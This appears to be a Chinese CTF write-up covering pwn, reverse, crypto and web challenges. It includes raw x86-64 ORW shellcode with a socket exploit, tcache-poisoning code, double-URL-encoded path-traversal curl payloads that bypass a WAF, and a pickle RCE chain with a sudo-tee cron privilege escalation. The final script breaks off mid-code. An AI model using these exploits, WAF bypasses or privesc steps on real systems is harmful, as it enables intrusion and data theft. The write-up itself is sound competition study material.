open syscall number = 2
read syscall number = 0
write syscall number = 1
8. 利用命令
当前仓库里的 solve.py 已经加入了最终链,参数为 --close-open。
运行:
python3 solve.py –remote –offset 0x140 –close-open –paths /flag
成功输出:
Zflag{1jsm6cldtmclhg1udk4j7jq5r2s5ii97}
StackPwn
程序分析
附件是 64 位 Linux ELF。核心流程:
int main() { init(); banner(); shellcode(); }
init() 中会申请一块可读可写可执行的内存:
buf = mmap(NULL, 0x1000, 7, 0x22, -1, 0); printf(“gift: %p.\n”, buf);
其中权限 7 等于:
PROT_READ | PROT_WRITE | PROT_EXEC
也就是说程序主动给了我们一页 RWX 内存,并且还把地址打印出来。
shellcode() 的关键逻辑:
puts(“Input your shellcode!”); read(0, buf, 0x100); puts(“The player start to play the shellcode game.”); write(1, name, 0x30); ((void (*)())buf)();
程序会把我们输入的最多 0x100 字节读入 buf,然后直接跳转执行。
漏洞点
这是一个典型 shellcode 执行题:
- 程序使用 mmap 创建 RWX 内存
- 用户可控内容被写入该内存
- 程序直接 call buf
- 因此只需要发送 amd64 Linux shellcode 即可
这里不需要 ROP,也不需要泄露 libc。
利用思路
发送 ORW shellcode:
- open(“/flag”, 0)
- read(fd, rsp, 0x200)
- write(1, rsp, size)
如果 /flag 不存在,也可以尝试当前目录下的 flag。
EXP
<font style="color:rgb(51, 51, 51);">#!/usr/bin/env python3</font><font style="color:rgb(51, 51, 51);"> import socket</font><font style="color:rgb(51, 51, 51);"> import sys</font><font style="color:rgb(51, 51, 51);"> import time</font>
<font style="color:rgb(51, 51, 51);">sc = (</font><font style="color:rgb(51, 51, 51);"> b"\x31\xc0\x50"</font><font style="color:rgb(51, 51, 51);"> b"\x48\xbb\x2f\x66\x6c\x61\x67\x00\x00\x00"</font><font style="color:rgb(51, 51, 51);"> b"\x53\x48\x89\xe7\x31\xf6\x31\xd2\xb0\x02\x0f\x05"</font><font style="color:rgb(51, 51, 51);"> b"\x85\xc0\x79\x13"</font><font style="color:rgb(51, 51, 51);"> b"\x31\xc0\x50\x68\x66\x6c\x61\x67"</font><font style="color:rgb(51, 51, 51);"> b"\x48\x89\xe7\x31\xf6\x31\xd2\xb0\x02\x0f\x05"</font><font style="color:rgb(51, 51, 51);"> b"\x48\x89\xc7"</font><font style="color:rgb(51, 51, 51);"> b"\x48\x81\xec\x00\x02\x00\x00"</font><font style="color:rgb(51, 51, 51);"> b"\x48\x89\xe6"</font><font style="color:rgb(51, 51, 51);"> b"\xba\x00\x02\x00\x00"</font><font style="color:rgb(51, 51, 51);"> b"\x31\xc0\x0f\x05"</font><font style="color:rgb(51, 51, 51);"> b"\x89\xc2"</font><font style="color:rgb(51, 51, 51);"> b"\xbf\x01\x00\x00\x00"</font><font style="color:rgb(51, 51, 51);"> b"\xb8\x01\x00\x00\x00"</font><font style="color:rgb(51, 51, 51);"> b"\x0f\x05"</font><font style="color:rgb(51, 51, 51);"> b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"</font><font style="color:rgb(51, 51, 51);"> )</font>
<font style="color:rgb(51, 51, 51);">def recv_until(s, marker):</font><font style="color:rgb(51, 51, 51);"> data = b""</font><font style="color:rgb(51, 51, 51);"> while marker not in data:</font><font style="color:rgb(51, 51, 51);"> data += s.recv(4096)</font><font style="color:rgb(51, 51, 51);"> return data</font>
<font style="color:rgb(51, 51, 51);">host = sys.argv[1]</font><font style="color:rgb(51, 51, 51);"> port = int(sys.argv[2])</font>
<font style="color:rgb(51, 51, 51);">s = socket.create_connection((host, port))</font><font style="color:rgb(51, 51, 51);"> print(recv_until(s, b"Input your name to start!").decode(errors="ignore"),</font><font style="color:rgb(51, 51, 51);"> end="")</font>
<font style="color:rgb(51, 51, 51);">s.sendall(b"A\n")</font><font style="color:rgb(51, 51, 51);"> time.sleep(0.1)</font>
<font style="color:rgb(51, 51, 51);">print(recv_until(s, b"Input your shellcode!").decode(errors="ignore"),</font><font style="color:rgb(51, 51, 51);"> end="")</font><font style="color:rgb(51, 51, 51);"> s.sendall(sc)</font>
<font style="color:rgb(51, 51, 51);">print(s.recv(4096).decode(errors="ignore"))</font>
运行:
python3 solve.py 36.213.142.84 20985
flag{1jsld4l5h77v9v1udk4j7jq5fjs5ihto}
VoucherVault
A digital vault guarded by modern glibc, where tricks from the old days may no longer work. Secret credentials are sealed behind layers of protection, and beneath the seemingly familiar heap layout lies a far stricter security mechanism. 一座由现代 glibc 守护的数字金库,旧时代的技巧未必还能奏效。 秘密凭证被层层封存,看似熟悉的堆积配置之下,却运行着更加严格的安全机制。 一座由现代 glibc 守护的数字金库,旧时代的技巧未必还能奏效。 秘密凭证被层层封存,看似熟悉的堆布局下,却运行着更加严格的安全机制。
题目给出 3 个文件:
voucher_vault
libc.so.6
ld-linux-x86-64.so.2
程序硬编码解释器路径为 /home/ctf/ld-linux-x86-64.so.2,本地运行时需要使用题目给出的 loader:
./ld-linux-x86-64.so.2 --library-path . ./voucher_vault
保护情况
通过 ELF 信息可以看出:
Arch: amd64 PIE: enabled RELRO: full, BIND_NOW NX: enabled Canary: enabled Strip: stripped
程序不是传统栈溢出题,主要攻击面在菜单堆管理逻辑。
程序逻辑
菜单功能如下:
- Store voucher
- Rewrite voucher
- Inspect voucher
- Discard voucher
- Unlock vault
- Exit
启动时程序会 mmap 一个固定地址:
vault = mmap(0x1337000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
*vault = 0;
解锁逻辑检查这个地址开头 8 字节是否等于固定 magic:
if (*(uint64_t *)0x1337000 == 0xfeedfacecafebabe) {
open("/home/ctf/flag", 0);
open("./flag", 0);
open("/flag", 0);
write(1, flag, n);
} else {
puts("Vault key rejected");
exit(1);
}
所以目标非常明确:想办法向固定地址 0x1337000 写入:
0xfeedfacecafebabe
漏洞分析
程序维护两个数组:
size_t sizes[8];
char *chunks[8];
Store voucher 逻辑大致如下:
idx = read_num();
size = read_num();
if (idx > 7) exit;
if (chunks[idx] != NULL) exit;
if (size < 0x20 || size > 0x80) exit;
real_size = (size + 0xf) & ~0xf;
chunks[idx] = calloc(1, real_size);
sizes[idx] = real_size;
`Discard voucher` 存在明显 UAF:
free(chunks[idx]);
puts("Voucher discarded");
释放后没有把 chunks[idx] 清零,sizes[idx] 也保留。因此同一个 index 释放后仍然可以:
Inspect voucher读取 freed chunk 内容Rewrite voucher修改 freed chunk 内容
这就可以操作 tcache freelist。
利用思路
本题 libc 启用了 safe-linking。tcache freelist 中的 fd 保存方式为:
encoded_fd = next ^ (chunk_addr >> 12)
如果释放一个 chunk 后 inspect 它的前 8 字节,由于它是 tcache 链表最后一个节点,真实 next 为 0,因此泄漏值就是:
chunk_addr >> 12
有了这个值后,就能构造任意目标地址的 encoded fd:
encoded_fd = 0x1337000 ^ leak
之后流程如下:
- 申请一个 0x20 大小 chunk。
- 释放它,但指针未清零。
- inspect 这个 freed chunk,泄漏
chunk >> 12。 - rewrite 这个 freed chunk,把 tcache fd 改成
0x1337000 ^ leak。 - 再申请一次 0x20,取回原来的 freed chunk。
- 再申请一次 0x20,此时
calloc返回0x1337000。 - rewrite 新 chunk,写入
0xfeedfacecafebabe。 - 选择 unlock,读取 flag。
因为 0x1337000 是程序自己 mmap 出来的可读写区域,且 16 字节对齐,所以可以通过 tcache poisoning 返回该地址。
Exploit
核心代码如下:
TARGET = 0x1337000
MAGIC = 0xFEEDFACECAFEBABE
SIZE = 0x20
store(io, 0, SIZE)
discard(io, 0)
leak = struct.unpack("<Q", inspect(io, 0, SIZE)[:8])[0]
encoded_fd = TARGET ^ leak
rewrite(io, 0, p64(encoded_fd) + b"\x00" * (SIZE - 8))
store(io, 1, SIZE)
store(io, 2, SIZE)
rewrite(io, 2, p64(MAGIC) + b"\x00" * (SIZE - 8))
print(unlock(io).decode())
运行远程:
python3 solve.py 36.213.142.135 27946
flag{1jsll3kf8i149612pk9v1hq1toprsnc9}
Revevrse
CodeSign
解题思路
1. 初步分析
解压 APK,观察基本结构:
SecureGate.apk ├── classes.dex ← 唯一的 dex,核心逻辑在此 ├── META-INF/ ← 无 .RSA/.DSA 文件,说明使用 APK v2/v3 签名 ├── assets/ └── res/
无 native .so 库,逻辑全部在 Java 层。
2. 反编译
使用 jadx 反编译 classes.dex:
jadx -d jadx_output SecureGate.apk
定位到应用包名 com.icqctf.signcheck,关键文件有两个:
MainActivity.java— 主逻辑(解密 + 校验)SignUtils.java— 签名提取工具类
3. 代码分析
MainActivity.java(核心逻辑)
public class MainActivity extends AppCompatActivity {
// 密文数据(29 字节)
private static final byte[] SECRET_DATA = {
86, 10, 3, 1, 77, 124, 123, 97, 109, 37,
64, 90, 2, 89, 8, 5, 111, 115, 64, 66,
4, 16, 65, 62, 123, 8, 88, 81, 30
};
// 点击按钮触发
void onClick(...) {
// 1. 获取 APK 签名的 SHA1 哈希作为密钥
String key = SignUtils.getAppSignature(this);
// 2. XOR 解密
String result = decrypt(SECRET_DATA, key);
// 3. 校验结果是否以 "flag{" 开头
if (result.startsWith("flag{")) {
// ACCESS GRANTED
} else {
// DECRYPTION FAILED
}
}
// XOR 解密算法
private String decrypt(byte[] data, String key) {
byte[] keyBytes = key.getBytes();
byte[] result = new byte[data.length];
for (int i = 0; i < data.length; i++) {
result[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
}
return new String(result);
}
}
SignUtils.java(签名提取)
public class SignUtils {
public static String getAppSignature(Context context) {
// 获取 APK 签名证书的原始 DER 字节
byte[] certBytes = context.getPackageManager()
.getPackageInfo(context.getPackageName(), 64)
.signatures[0].toByteArray();
// 计算 SHA1 并转为小写十六进制字符串(40 字符)
return sha1Hex(certBytes).toLowerCase();
}
}
算法本质:
plaintext[i] = SECRET_DATA[i] ⊕ SHA1(APK签名证书)[i % 40]
4. 提取 APK 签名证书
本 APK 使用 APK Signature Scheme v2(无传统 META-INF 下的 .RSA 文件),需要从 APK 文件的 APK Signing Block 中解析证书。
APK 文件结构如下:
┌──────────────────────┐ │ ZIP 数据块 │ ├──────────────────────┤ │ APK Signing Block │ ← 签名证书在此 ├──────────────────────┤ │ Central Directory │ ├──────────────────────┤ │ EOCD │ └──────────────────────┘
编写 Python 脚本解析 APK Signing Block:
import struct
import hashlib
def find_apk_signing_block(apk_path):
with open(apk_path, 'rb') as f:
data = f.read()
# 1. 定位 End of Central Directory
eocd_offset = data.rfind(b'\x50\x4b\x05\x06')
# 2. 获取 Central Directory 偏移
cd_offset = struct.unpack_from('<I', data, eocd_offset + 16)[0]
# 3. 校验 APK Signing Block 魔数 "APK Sig Block 42"
magic_offset = cd_offset - 16
assert data[magic_offset:magic_offset+16] == b'APK Sig Block 42'
# 4. 读取块大小,定位块起始
block_size = struct.unpack_from('<Q', data, magic_offset - 8)[0]
block_start = cd_offset - block_size - 8
# 5. 遍历 ID-value 对,找 v2 签名块 (ID=0x7109871a)
pos = block_start + 8
end = magic_offset - 8
while pos < end:
pair_size = struct.unpack_from('<Q', data, pos)[0]
pos += 8
pair_id = struct.unpack_from('<I', data, pos)[0]
pair_data = data[pos+4:pos+pair_size]
pos += pair_size
if pair_id == 0x7109871a: # v2 signing block
return parse_cert(pair_data)
def parse_cert(block_data):
pos = 0
signers_size = struct.unpack_from('<I', block_data, pos)[0]
pos += 4
# signer size
signer_size = struct.unpack_from('<I', block_data, pos)[0]
pos += 4
# signed data size
signed_data_size = struct.unpack_from('<I', block_data, pos)[0]
pos += 4
# skip digests
digests_size = struct.unpack_from('<I', block_data, pos)[0]
pos += 4 + digests_size
# certificates
certs_size = struct.unpack_from('<I', block_data, pos)[0]
pos += 4
cert_size = struct.unpack_from('<I', block_data, pos)[0]
pos += 4
cert_der = block_data[pos:pos+cert_size]
return hashlib.sha1(cert_der).hexdigest().lower()
提取结果:
SHA1 = 0fbf65802a94649f01920c2a0966c2934e817f73
5. XOR 解密得到 Flag
SECRET_DATA = [
86, 10, 3, 1, 77, 124, 123, 97, 109, 37,
64, 90, 2, 89, 8, 5, 111, 115, 64, 66,
4, 16, 65, 62, 123, 8, 88, 81, 30
]
key = b'0fbf65802a94649f01920c2a0966c2934e817f73'
flag = bytes([SECRET_DATA[i] ^ key[i % len(key)] for i in range(len(SECRET_DATA))])
print(flag.decode()) # flag{ICQ_Dyn4m1c_Byp4ss_K1ng}
flag{ICQ_Dyn4m1c_Byp4ss_K1ng}
drive
公司的驱动程序好像出 bug 了,连接的程序也连接不上,重新连接驱动还需要重新输入密钥,请尽快修复程序连接驱动!(缺失的符号 md5=f2c6151d6c0d99f3666129b97e2100f5)
附件解压后有两个文件:
Driver.sys link.exe
1. 修复 Driver.sys
先看 Driver.sys 文件头,发现不是正常 PE:
09 5A 90 00 …
正常 PE 应该以 4D 5A 开头,即 MZ。观察文件可以发现大量偏移为 0 mod 4 的位置被异或过,例如:
09 ^ 44 = 4D
所以修复方式是:每隔 4 字节,把当前位置字节异或 0x44。
修复脚本:
from pathlib import Path
p = Path("Driver.sys")
data = bytearray(p.read_bytes())
for i in range(0, len(data), 4):
data[i] ^= 0x44
Path("Driver_fixed.sys").write_bytes(data)
修复后可以正常解析 PE。驱动中能看到关键字符串:
\??\DeviceDrive
\Device\MYDEVICE
flag is you input
wrong
其中 \??\DeviceDrive 是用户态需要打开的符号链接。
2. 修复 link.exe 连接驱动失败
link.exe 中搜索字符串,可以看到:
.\Device?????
题目给出:
md5 = f2c6151d6c0d99f3666129b97e2100f5
计算常见缺失符号:
import hashlib
print(hashlib.md5(b"Drive").hexdigest())
结果正好是:
f2c6151d6c0d99f3666129b97e2100f5
所以缺失字符串是 Drive,需要把:
.\Device?????
修成:
\.\DeviceDrive
补丁脚本:
from pathlib import Path
data = bytearray(Path("link.exe").read_bytes())
old = b"\\\\.\\Device?????"
new = b"\\\\.\\DeviceDrive"
pos = data.find(old)
assert pos != -1
data[pos:pos + len(old)] = new
Path("link_fixed.exe").write_bytes(data)
3. 分析 link.exe 主逻辑
定位 CreateFileA 和 DeviceIoControl 交叉引用后,用户态程序核心逻辑如下:
CreateFileA("\\.\DeviceDrive", ...)打开驱动。- 读取用户输入,最多处理 32 字节。
- 调用
DeviceIoControl,控制码为:
0x222000
- 驱动返回成功后打印:
flag: %s
也就是说程序并不会在用户态计算 flag,真正校验逻辑在驱动里。
4. 分析驱动校验逻辑
驱动的 DeviceIoControl 分支中处理两个控制码:
0x222000 0x222400
题目程序使用的是 0x222000。
核心流程:
- 拷贝输入的 32 字节。
- 对前 31 个字节做相邻字节混淆:
for (i = 1; i < 32; i++) {
old = buf[i - 1];
buf[i - 1] = old ^ (((old % 18) + buf[i] + 5) ^ 0x34);
}
3. 调用校验函数。
校验函数逻辑:
key = 0x34;
for (i = 0; i < 32; i++) {
tmp[i] = buf[i] ^ key;
key = buf[i];
}
for (i = 0; i < 32; i++) {
if ((tmp[i] ^ key) != target[i]) {
return 0;
}
key = tmp[i];
}
return 1;
其中 target 常量位于修复后驱动的 .data,RVA 为 0x3000:
66 0a 09 e0 e2 e3 cb 09 14 15 0c 38 01 1f 05 42
71 6e 56 7a 00 20 e4 bf e6 cd 28 30 2c 75 a0 3a
5. 反算输入
由于校验逻辑可逆,先反推相邻混淆后的中间值,再从后往前枚举还原原始输入。
完整解密脚本:
target = bytes.fromhex(
"660a09e0e2e3cb0914150c38011f0542"
"716e567a0020e4bfe6cd28302c75a03a"
)
# 反推校验函数输入,也就是相邻混淆后的 buf
solutions = []
for last in range(256):
a = [0] * 32
a[0] = target[0] ^ last
for i in range(1, 32):
a[i] = target[i] ^ a[i - 1]
buf = [0] * 32
buf[0] = a[0] ^ 0x34
for i in range(1, 32):
buf[i] = a[i] ^ buf[i - 1]
if buf[31] == last:
solutions.append(buf)
assert len(solutions) == 1
mid = solutions[0]
# 反推相邻字节混淆
cands = [[mid[31]]]
for k in range(30, -1, -1):
new_cands = []
for suffix in cands:
nxt = suffix[0]
for x in range(256):
v = x ^ (((x % 18) + nxt + 5) ^ 0x34)
v &= 0xff
if v == mid[k]:
new_cands.append([x] + suffix)
cands = new_cands
for arr in cands:
s = bytes(arr)
if s.startswith(b"flag{") and s.endswith(b"}"):
print(s.decode())
flag{wnNCZJbBOqL3QA1C1cypiKYII4}
SimpleSocket
题目提供 4 个文件:
| 文件 | 类型 | 说明 |
| — | — | — |
| py | Python 源码 | 通信协议实现 |
| packet1 | Hex 字符串 | 抓包数据 1 |
| packet2 | PEM 私钥 | 抓包数据 2 |
| packet3 | Hex 字符串 | 抓包数据 3 |
分析过程
1. 阅读源码
py 文件实现了一个基于 socket 的加密通信协议:
# 服务端生成 RSA 密钥对
private_key, public_key = generate_rsa_keys() # RSA-1024
# 客户端逻辑
aes_key = os.urandom(16) # 随机生成 16 字节 AES 密钥
encrypted_aes_key = PKCS1_OAEP.encrypt(aes_key) # 用 RSA 公钥加密 AES 密钥
s.sendall(encrypted_aes_key) # 发送给服务端
# 服务端逻辑
aes_key = PKCS1_OAEP.decrypt(encrypted_aes_key) # 用 RSA 私钥解密得到 AES 密钥
encrypted_flag = AES.new(aes_key, ECB).encrypt(flag) # 用 AES-ECB 加密 flag
conn.sendall(encrypted_flag) # 发送给客户端
通信流程如下:
Client Server
| |
| ① encrypted_aes_key (RSA) |
| ──────────────────────────► |
| | RSA 解密得到 aes_key
| ② encrypted_flag (AES-ECB) | AES 加密 flag
| ◄────────────────────────── |
| |
2. 对应 packet 文件
结合源码和 file 命令识别结果:
packet2→ RSA 私钥(PEM 格式,含\n转义符)packet3→ 客户端发送的 RSA 加密后的 AES 密钥(hex 编码)packet1→ 服务端返回的 AES-ECB 加密后的 flag(hex 编码)
3. 解密链路
拥有 RSA 私钥即可还原整个通信:
packet3 (hex→bytes) ──RSA-OAEP解密(packet2)──► AES密钥 ──AES-ECB解密──► packet1 → flag
解题脚本
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Util.Padding import unpad
# 读取 RSA 私钥
with open("packet2", "r") as f:
private_key_pem = f.read().strip().replace("\\n", "\n")
# 读取 RSA 加密的 AES 密钥
with open("packet3", "r") as f:
encrypted_aes_key = bytes.fromhex(f.read().strip())
# 读取 AES 加密的 flag
with open("packet1", "r") as f:
encrypted_flag = bytes.fromhex(f.read().strip())
# Step 1: RSA-OAEP 解密 AES 密钥
rsa_key = RSA.import_key(private_key_pem)
cipher_rsa = PKCS1_OAEP.new(rsa_key)
aes_key = cipher_rsa.decrypt(encrypted_aes_key)
# Step 2: AES-ECB 解密 flag
cipher_aes = AES.new(aes_key, AES.MODE_ECB)
flag = unpad(cipher_aes.decrypt(encrypted_flag), AES.block_size)
print(flag.decode())
flag{28b0e93d-1b8c-40ff-9075-2049102f1e26
Info2Exploit
信息收集
端点枚举
访问目标站点,发现以下页面:
| 路径 | 功能 |
| — | — |
| GET / | 首页,展示 3 篇公开文章 |
| GET /about | 架构说明,泄露组件和版本信息 |
| GET /repo | Git 仓库页,提示 “Private Protection” 模式 |
| GET /search?q= | 全文搜索 |
| GET /article?id= | 文章阅读器 —— 核心攻击面 |
/about 页面关键信息:
Server: Werkzeug/3.1.8 Python/3.9.25
Custom HTTP Parser (C++) with URL decoding
HyperGuard WAF 3.1.0
/repo 页面关键信息:
System Alert: This warehouse is currently in "Private Protection" mode.
Recent maintenance records mention an archived migration note
that is no longer listed on the portal.
隐藏文档发现
通过 /search?q=migration 发现第 4 篇隐藏文档 _ops_snapshot_notice.md:
# Archived Migration Note
A maintenance record from the previous storage migration was retained
in the archive set after the public index was rebuilt.
The internal package label `node_flag.txt` was kept during that migration,
and the archived note still references the old hidden snapshot namespace
used by the storage service.
Some legacy sync clients also replay archived requests using
older encoding behavior during fallback.
线索关键词收集
从各页面提取可能用作路径组件的关键词:
| 来源 | 原文 | 关键词 |
| — | — | — |
| /repo | “Private Protection” mode | private |
| _ops_snapshot_notice.md | “old hidden snapshot namespace” | snapshot , .snapshot (hidden→dot prefix) |
| _ops_snapshot_notice.md | “archive set” | archive , .archive |
| _ops_snapshot_notice.md | “internal package label node_flag.txt” | node_flag.txt |
| _ops_snapshot_notice.md | “storage migration” | migration |
| /about | 架构信息 | 确认 WAF + 双解码绕过方向 |
漏洞分析
WAF 绕过:双重 URL 编码
请求经过两层 URL 解码——自定义 C++ HTTP 解析器在 WAF 之前解码一次,Werkzeug 在 WAF 之后解码第二次:
%252F → C++ 解析器第1次解码 → %2F → WAF 检查(字面 %2F,不触发规则)→ PASS
%2F → Werkzeug 第2次解码 → / → 实际路径分隔符
WAF 的正则规则为 (\.\.\/|%2e%2e%2f)[a-zA-Z],检测 ../ 或 %2e%2e%2f 后跟字母。
使用字面点 + 编码斜杠 (..%252f) 可同时绕过两种模式:
\.\.\/不匹配 ——..%2f中没有字面/(%2f是%,2,f三个字符)%2e%2e%2f不匹配 —— 点是字面的,不是编码的
验证:读取 /etc/passwd 确认路径遍历可行:
curl "http://TARGET:PORT/article?id=..%252f..%252f..%252fetc%252fpasswd"
# 返回 /etc/passwd 内容 —— 路径遍历确认可行
Scope Check:存储范围限制
后端对包含 .. 的路径进行 os.path.realpath() 检查,只允许存储根目录内的路径通过(以及 /etc/passwd 等白名单路径)。Scope 外的路径返回 “outside the permitted storage scope”。
关键发现:对于不存在的路径,realpath() 解析失败 → 返回 Scope 错误;对于存在的目录,返回 “Directory” 错误。利用这个差异,可以逐层探测目录结构。
路径发现:逐层关键词试探
有了 WAF 绕过能力,将线索关键词作为目录名,逐层试探路径。每一步用 Directory 响应确认目标存在,再深入下一层。
第一层目录 —— 试探 ../private2
用线索关键词逐一测试 ../KEYWORD:
../private → Directory ← 确认存在!
../snapshot → Scope (不存在/不在范围内)
../archive → Scope
../migration → Scope
../.snapshot → Scope
../.archive → Scope
../...
../private 返回 Directory,确认为有效目录。”Private Protection” 的 private 作为第一层目录成立。
第二层目录 —— 在 ../private/ 下试探隐藏目录
进入 ../private/,用剩余关键词测试子目录:
../private/snapshot → Not Found
../private/.snapshot → Directory ← 确认存在!
../private/archive → Not Found
../private/.archive → Not Found
../private/migration → Not Found
../private/..
../private/.snapshot 返回 Directory。”hidden snapshot namespace” 中的 snapshot 取 .snapshot(hidden = dot 前缀)作为第二层目录成立。
读取目标文件
进入 ../private/.snapshot/,测试文件名:
../private/.snapshot/node_flag.txt → FLAG! ← 命中
../private/.snapshot/flag → Not Found
../private/.snapshot/flag.txt → Not Found
../private/.snapshot/secret → Not Found
.snapshot/目录下只有一个文件node_flag.txt,直接命中。
额外发现:分号参数注入
在后续探索中还发现 Flask/Werkzeug 将 ; 视为查询参数分隔符(等价于 &),但 HyperGuard WAF 不识别分号语法。利用这一点可以构造 WAF 完全不可见的参数注入:
GET /article?foo=bar;id=..%252Fprivate%252F.snapshot%252Fnode_flag.txt
WAF 只看到 foo=bar(不识别 ; 后的内容),id 参数对 WAF 完全透明。
漏洞利用
Payload
# 方法1: 纯双重编码
curl "http://36.213.142.135:21418/article?id=..%252fprivate%252f.snapshot%252fnode_flag.txt"
# 方法2: 分号参数注入 + 双重编码
curl "http://36.213.142.135:21418/article?foo=bar;id=..%252Fprivate%252F.snapshot%252Fnode_flag.txt"
请求处理流程
请求: ?id=..%252fprivate%252f.snapshot%252fnode_flag.txt
│
┌───────────────┴───────────────┐
│ 自定义 C++ HTTP 解析器 │
│ 第1次 URL 解码: %25 → % │
│ → id = ..%2fprivate%2f.snapshot%2fnode_flag.txt
└───────────────┬───────────────┘
│
┌───────────────┴───────────────┐
│ HyperGuard WAF │
│ 检测: (\.\.\/|%2e%2e%2f)[a-zA-Z]
│ ..%2f → 无字面 /,无编码点 │
│ → 不匹配任何模式 → PASS │
└───────────────┬───────────────┘
│
┌───────────────┴───────────────┐
│ Werkzeug / Flask │
│ 第2次 URL 解码: %2f → / │
│ → id = ../private/.snapshot/node_flag.txt
│ → realpath 解析,在存储范围内 │
│ → 返回 flag 内容 │
└───────────────────────────────┘
Flag
flag{1jslas4jmd8agd1udk4j7jq5crs5ihr0}
PickleJail
这道题基于本地信息库和以往经验,飞快完成了认证绕过和反序列化链缩减,但一直卡在最后一步,根本原因是 AI 流程设计错误,它基于我的提示词去测试,RCE 后方向依赖人逐条指令,而 cleanup 机制又让每个测试的编写成本很高,试错效率低。
源码审计
路径穿越获取源码
/pic 端点存在路径穿越,通过 ../../app.py 等可读取任意文件:
@app.route('/pic',methods=['GET','POST'])
def pic():
if (pic:=request.args.get('pic')) and os.path.isfile(filepath:=f"./files/uploads/{pic}"):
if session.get('username')==b"admin":
return pickle.load(open(filepath,"rb")) # ← 无限制 pickle 反序列化
else:
return f'''...{open(filepath,"r").read()[:5000]}'''
认证模块 (Users.py)
bcrypt 使用固定 salt,且 C 实现存在 null-byte 截断:
def register(self, username, password, salt):
username = base64.b64decode(username)
if username in self.usernames: return False
self.usernames[username] = bcrypt.hashpw(username, salt)
self.passwords[self.usernames[username]] = bcrypt.hashpw(password, salt)
return True
WAF (waf.py)
def waf(file):
if len(os.listdir("./files/uploads")) >= 3:
os.system("rm -rf /app/files/uploads/*")
content = file.read().lower()
if len(content) > 60: return False
for b in [b"\n", b"\r", b"\\", b"base", b"builtin", b"code", b"command", b"eval",
b"exec", b"flag", b"flask", b"global", b"os", b"output", b"popen", b"pty",
b"repeat", b"run", b"setstate", b"spawn", b"subprocess", b"sys", b"system",
b"timeit"]:
if b in content: return False
file.seek(0)
return secure_filename(file.filename)
约束:
- 文件内容 ≤ 60 字节
- 禁止字节:
0x0A (\n),0x0D (\r),0x5C (\\) - 禁止 18 个子串(lowercased 检查)
- SHORT_BINUNICODE 长度不能为 10(产生
0x0A)
认证绕过
bcrypt Null-Byte 截断
admin\x00admin 的 bcrypt hash 与 admin 相同(null 字节处截断)。
注册:base64("admin\x00admin") = YWRtaW4AYWRtaW4=,密码 adminpass
# 注册 admin\x00admin → 覆盖 admin 的密码哈希
usernames[b"admin\x00admin"] = bcrypt.hashpw(b"admin\x00admin", salt) # = hash("admin")
passwords[hash("admin")] = bcrypt.hashpw(b"adminpass", salt) # ← 覆盖!
登录:以纯 admin / adminpass 登录,session['username'] = b"admin"。
代码执行(绕过 60B WAF)
.py 文件导入法
由于 WAF 限制,无法直接用 pickle 构造完整 RCE 链(所有执行原语均被拦截)。改用多层间接执行:
Step A: 上传 .py 文件 → /app/files/uploads/x.py
Step B: pickle shutil.copy → /app/{mod}.py
Step C: pickle STACK_GLOBAL → import {mod} → 执行模块代码
WAF 子串绕过
所有阻塞关键字通过 Python 字符串拼接绕过:
# blocked: 'os' → bypass:
__import__('o'+'s')
# blocked: 'system' (contains 'sys') → bypass:
o.__dict__['sy'+'stem']
# blocked: 'flag' → bypass:
'/fl'+'ag'
# blocked: 'popen' → bypass:
o.__dict__['po'+'pen']
模块名长度约束
SHORT_BINUNICODE 长度 = 0x0A 被 WAF 拦截。/app/{mod}.py 路径长度:
| 模块名长度 | 路径 | 长度 | WAF | | — | — | — | — | | 1 char (a) | /app/a.py | 9 | 可行 | | 2 chars (ab) | /app/ab.py | 10 | 不可行 0x0A | | 3 chars (abc) | /app/abc.py | 11 | 可行 | | 4 chars (abcd) | /app/abcd.py | 12 | 可行 | | 5 chars (abcde) | /app/abcde.py | 13 | 不可行 0x0D |
追加模式突破 34 字符限制
单次 Python write 只能承载 ~34 字符的 shell 命令。通过多次追加写入构建长命令:
# Step 1: 创建脚本
open('/tmp/s','w').write('bash -c "{echo,...')
# Step 2-5: 追加
open('/tmp/s','a').write('FzaCAtaSA+JiAv...')
# Step 6: 执行
__import__('o'+'s').__dict__['sy'+'stem']('sh /tmp/s')
信息收集
环境信息
USER=ctf, SHELL=/bin/sh
SUDO_USER=root, SUDO_UID=0
SUDO_COMMAND=/usr/bin/python3 /app/app.py
/flag 文件
$ stat /flag
File: /flag
Size: 40
Access: (0700/-rwx------) Uid: (0/root) Gid: (0/root)
仅 root 可读写执行,ctf 无任何权限。
SUID 二进制
/usr/bin/passwd, /usr/bin/mount, /usr/bin/umount
/usr/bin/su, /usr/bin/chfn, /usr/bin/chsh
/usr/bin/gpasswd, /usr/bin/sudo
Cron 任务
$ cat /etc/cron.d/cleanup
* * * * * root /opt/cleanup.sh
$ cat /opt/cleanup.sh
#!/bin/sh
exit 0
每分钟以 root 执行/opt/cleanup.sh,但当前脚本只是 exit 0。
提权
sudo -l
$ sudo -l
User ctf may run the following commands on d2a0824a07bf:
(root) NOPASSWD: /usr/bin/tee /opt/cleanup.sh
sudo tee能以 root 无密码覆写/opt/cleanup.sh!
构造恶意脚本
#!/bin/sh
cp /fl* /tmp/f
写入 /tmp/e,然后 sudo tee 覆写 /opt/cleanup.sh:
cat /tmp/e | sudo tee /opt/cleanup.sh
Cron 执行
Cron 每分钟以 root 执行 /opt/cleanup.sh → cp /fl* /tmp/f → /tmp/f 包含 flag。
读取 Flag
GET /pic?pic=../../../tmp/f
Exploit
import requests, time, base64
TARGET = "http://TARGET:PORT"
PROXIES = {"http": "http://127.0.0.1:7897"}
# Step 1: Register + Login as admin
s = requests.Session(); s.proxies = PROXIES
s.post(f"{TARGET}/register", data={
"username": base64.b64encode(b"admin\x00admin"),
"password": base64.b64encode(b"adminpass")
})
s.post(f"{TARGET}/login", data={
"username": base64.b64encode(b"admin"),
"password": base64.b64encode(b"adminpass")
})
ADMIN = s.cookies.get("session")
def step(code, mod):
"""Execute code via .py file import"""
SRC = "/app/files/uploads/x.py"
DST = f"/app/{mod}.py"
cp = b"\x80\x02\x8c\x06shutil\x8c\x04copy\x93"
cp += bytes([0x8c, len(SRC)]) + SRC.encode()
cp += bytes([0x8c, len(DST)]) + DST.encode() + b"\x86R."
tp = b"\x80\x02" + bytes([0x8c, len(mod)]) + mod.encode() + b"\x8c\x08__name__\x93."
